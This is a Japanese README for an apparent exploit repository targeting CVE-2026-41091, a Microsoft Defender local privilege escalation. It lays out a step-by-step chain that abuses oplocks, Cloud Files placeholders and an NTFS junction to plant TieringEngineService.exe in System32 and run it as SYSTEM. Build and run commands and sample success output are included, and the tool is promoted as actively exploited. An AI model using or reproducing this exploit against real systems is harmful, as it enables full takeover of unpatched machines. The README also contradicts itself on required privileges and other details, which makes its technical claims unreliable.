tc4dy/cve-2026-41091-poc-exploitCVE-2026-41091 RedSun | Microsoft Defender LPE エクスプロイト。低特権ユーザーが Cloud Files API + NTFS ジャンクションのトリックにより NT AUTHORITY\SYSTEM 🔥 を取得。Defender に SYSTEM 権限で悪意のあるペイロードを System32 に書き込ませる。⚠️ 実際に活発に悪用されています。CVSS 7.8。パッチ: Defender Engine 1.1.26040.8。🛡️ 教育目的の PoC のみ。
# CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE Exploit Toolkit
[](https://isocpp.org/)
[](https://www.microsoft.com/windows)
[](LICENSE)
[](https://nvd.nist.gov/vuln/detail/CVE-2026-41091)
[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## > 法的免責事項と責任ある使用
**このツールは、教育および許可されたペネトレーションテストの目的にのみ提供されています。**
作者および貢献者は、本ソフトウェアによる誤用や損害について一切の責任を負いません。テストを実施する前に、対象の所有者から明示的な書面による許可を得ていることを確認する責任は、ユーザー自身にあります。コンピュータシステムへの不正アクセスは、適用される連邦法、州法、および国際的なサイバー犯罪法の下で違法です。
本ソフトウェアを使用することにより、以下に同意したものとみなされます:
- 自身が所有するシステム、またはテストの明示的な許可を得ているシステムでのみ使用すること。
- 適用されるすべての地方、州、および連邦法を遵守すること。
- 悪意のある、破壊的な、または違法な活動に使用しないこと。
> [!] **警告:** Active Directory の特権昇格脆弱性は、エンタープライズインフラストラクチャに対して高いリスクをもたらします。許可のないテストは固く禁止されています。
> **Microsoft Defender リンクフォロー脆弱性** - NT AUTHORITY\SYSTEM へのローカル特権昇格
### この脆弱性は「RedSun」として知られており、「SolarFlare」は私が自身のエクスプロイトに付けた名前です。
## [<] 概要
このリポジトリには、Microsoft Defender (Microsoft Malware Protection Engine) における重大なローカル特権昇格脆弱性である **CVE-2026-41091** の**完全に動作する概念実証 (PoC)** エクスプロイトが含まれています。不適切なリンク解決 (CWE-59) を悪用することで、認証済みの低権限の攻撃者が **NT AUTHORITY\SYSTEM** 権限を取得できます。
**「RedSun」**または**「SolarFlare」**としても知られるこの脆弱性により、攻撃者は Cloud Files API (CfAPI) と NTFS ジャンクションポイントを使用して、Microsoft Defender を騙して SYSTEM 権限で保護されたシステムの場所に任意のファイルを書き込ませることができます。
> **注:** このリポジトリには 2 つのバージョンが含まれています:
> - `basic_poc.cpp` - 簡略化されたアルゴリズムのデモンストレーション (教育用)
> - `full_poc.cpp` - すべての機能を備えた完全に動作するエクスプロイト
### [-<] 主な機能
| カテゴリ | 機能 | `basic_poc.cpp` | `full_poc.cpp` |
|----------|---------|:---------------:|:--------------:|
| **悪用** | SYSTEM へのローカル特権昇格 | `[+]` | `[+]` |
| | Cloud Files API (CfAPI) 統合 | `[-]` | `[+]` |
| | クラウドプレースホルダーの作成 | `[-]` | `[+]` |
| | NTFS ジャンクションリダイレクト | `[~]` | `[+]` |
| | COM サービスアクティベーション | `[-]` | `[+]` |
| **技術** | バッチオポークの悪用 | `[+]` | `[+]` |
| | VSS スナップショット検出 | `[+]` | `[+]` |
| | EICAR トリガー | `[+]` | `[+]` |
| | NTFS リパースポイント (マウントポイント) | `[+]` | `[+]` |
| | ファイルディスポジション (NtSetInformationFile) | `[-]` | `[+]` |
| | 名前付きパイプのセッション ID 検出 | `[-]` | `[+]` |
| | コンソールセッションの起動 (conhost.exe) | `[-]` | `[+]` |
| | WaitOnAddress / WakeByAddress | `[-]` | `[+]` |
| | SYSTEM 検証 | `[-]` | `[+]` |
| **対象** | Microsoft Defender < 1.1.26040.8 | `[+]` | `[+]` |
| | Windows 10/11 | `[+]` | `[+]` |
| | Windows Server 2016 | `[+]` | `[+]` |
| | Windows Server 2019/2022 | `[+]` | `[+]` |
| | x64 のみ | `[+]` | `[+]` |
| **使いやすさ** | 構造化ログ | `[~]` | `[+]` |
| | エラー処理 | `[~]` | `[+]` |
| | ランダムなディレクトリ名 | `[+]` | `[+]` |
| | 自動クリーンアップ | `[~]` | `[+]` |
| | リトライロジック (NtCreateFile) | `[-]` | `[+]` |
## [i] 脆弱性の詳細
| 属性 | 値 |
|-----------|-------|
| **CVE ID** | CVE-2026-41091 |
| **CVSS スコア** | 7.8 (High) |
| **CVSS ベクター** | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **攻撃ベクター** | ローカル |
| **必要な権限** | 低 |
| **ユーザー操作** | なし |
| **影響** | SYSTEM レベルのコード実行 |
| **CISA KEV** | [+] はい (実際に悪用されている) |
| **パッチの有無** | Microsoft Malware Protection Engine 1.1.26040.8 |
### [c] 影響を受ける製品
| 製品 | 影響を受けるバージョン | 修正済みバージョン |
|---------|-------------------|----------------|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
## [<\>] エクスプロイトチェーン
```
┌─────────────────────────────────────────────────────────────────────────────
│ SOLARFLARE EXPLOIT CHAIN
├─────────────────────────────────────────────────────────────────────────────
│
│ 1. Create Working Directory
│ └─> %TEMP%\SF-XXXX\
│
│ 2. Trigger Defender with EICAR
│ └─> Write reversed EICAR to bait file
│
│ 3. Wait for VSS Snapshot
│ └─> Detect Volume Shadow Copy creation
│
│ 4. Create First Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file
│
│ 5. Wait for Oplock Break
│ └─> Acquire exclusive access
│
│ 6. Rename Directory
│ └─> Move original directory to .tmp
│
│ 7. Register Cloud Sync Root
│ └─> CfRegisterSyncRoot with Cloud Files API
│
│ 8. Create Cloud Placeholder
│ └─> CfCreatePlaceholders for bait file
│
│ 9. Create Second Batch Oplock
│ └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder
│
│ 10. Wait for Second Oplock Break
│ └─> Acquire exclusive access
│
│ 11. Rename Cloud Directory
│ └─> Move cloud directory to .cloud.tmp
│
│ 12. Create NTFS Junction to System32
│ └─> Redirect to C:\Windows\System32
│
│ 13. Copy Payload to System32
│ └─> Copy bait file to System32 as TieringEngineService.exe
│
│ 14. Activate Service as SYSTEM
│ └─> CoCreateInstance(StorageTiersManagement)
│
└─────────────────────────────────────────────────────────────────────────────
```
## [+] インストール
### 前提条件
- Windows 10/11 または Windows Server 2019/2022
- C++ ツールを含む Visual Studio 2019/2022
- 管理者権限（実行時）
### ビルド
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
## [+] 使用方法
### 完全なエクスプロイト（SYSTEM 権限昇格）
```bash
full_poc.exe
```
### 基本的なアルゴリズムのデモンストレーション
```bash
basic_poc.exe
```
## [i] 出力例
### 完全なエクスプロイト出力
```text
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
```
### 基本的なPoC出力
```text
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
```
## [<>] ビルド手順
### Visual Studio を使用する場合
1. VS 2022 用の開発者コマンドプロンプトを開く
2. エクスプロイトのディレクトリに移動する
3. 以下を実行する:
```batch
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
```
### CMake の使用
```cmake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
```
## [!] 要件と制限事項
| 要件 | 詳細 |
|-------------|---------|
| **OS** | Windows 10/11、Server 2019/2022 |
| **権限** | 管理者（実行用） |
| **Defender** | Microsoft Defender が有効であること |
| **インターネット** | VSS スナップショット検出に必要 |
| **パッチ** | 未パッチのシステムでのみ動作 |
| **アーキテクチャ** | x64 のみ |
## 関連エクスプロイト
他のエクスプロイトリポジトリもご覧ください：
- [CVE-2026-24061-PoC-Exploit](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) - GNU inetutils-telnetd 認証バイパス
- [CVE-2026-41940-PoC-Exploit](https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit) - cPanel/WHM 認証バイパスエクスプロイト
- [CVE-2026-0073-PoC-Exploit](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit) - Android ADB ワイヤレスデバッグ認証バイパス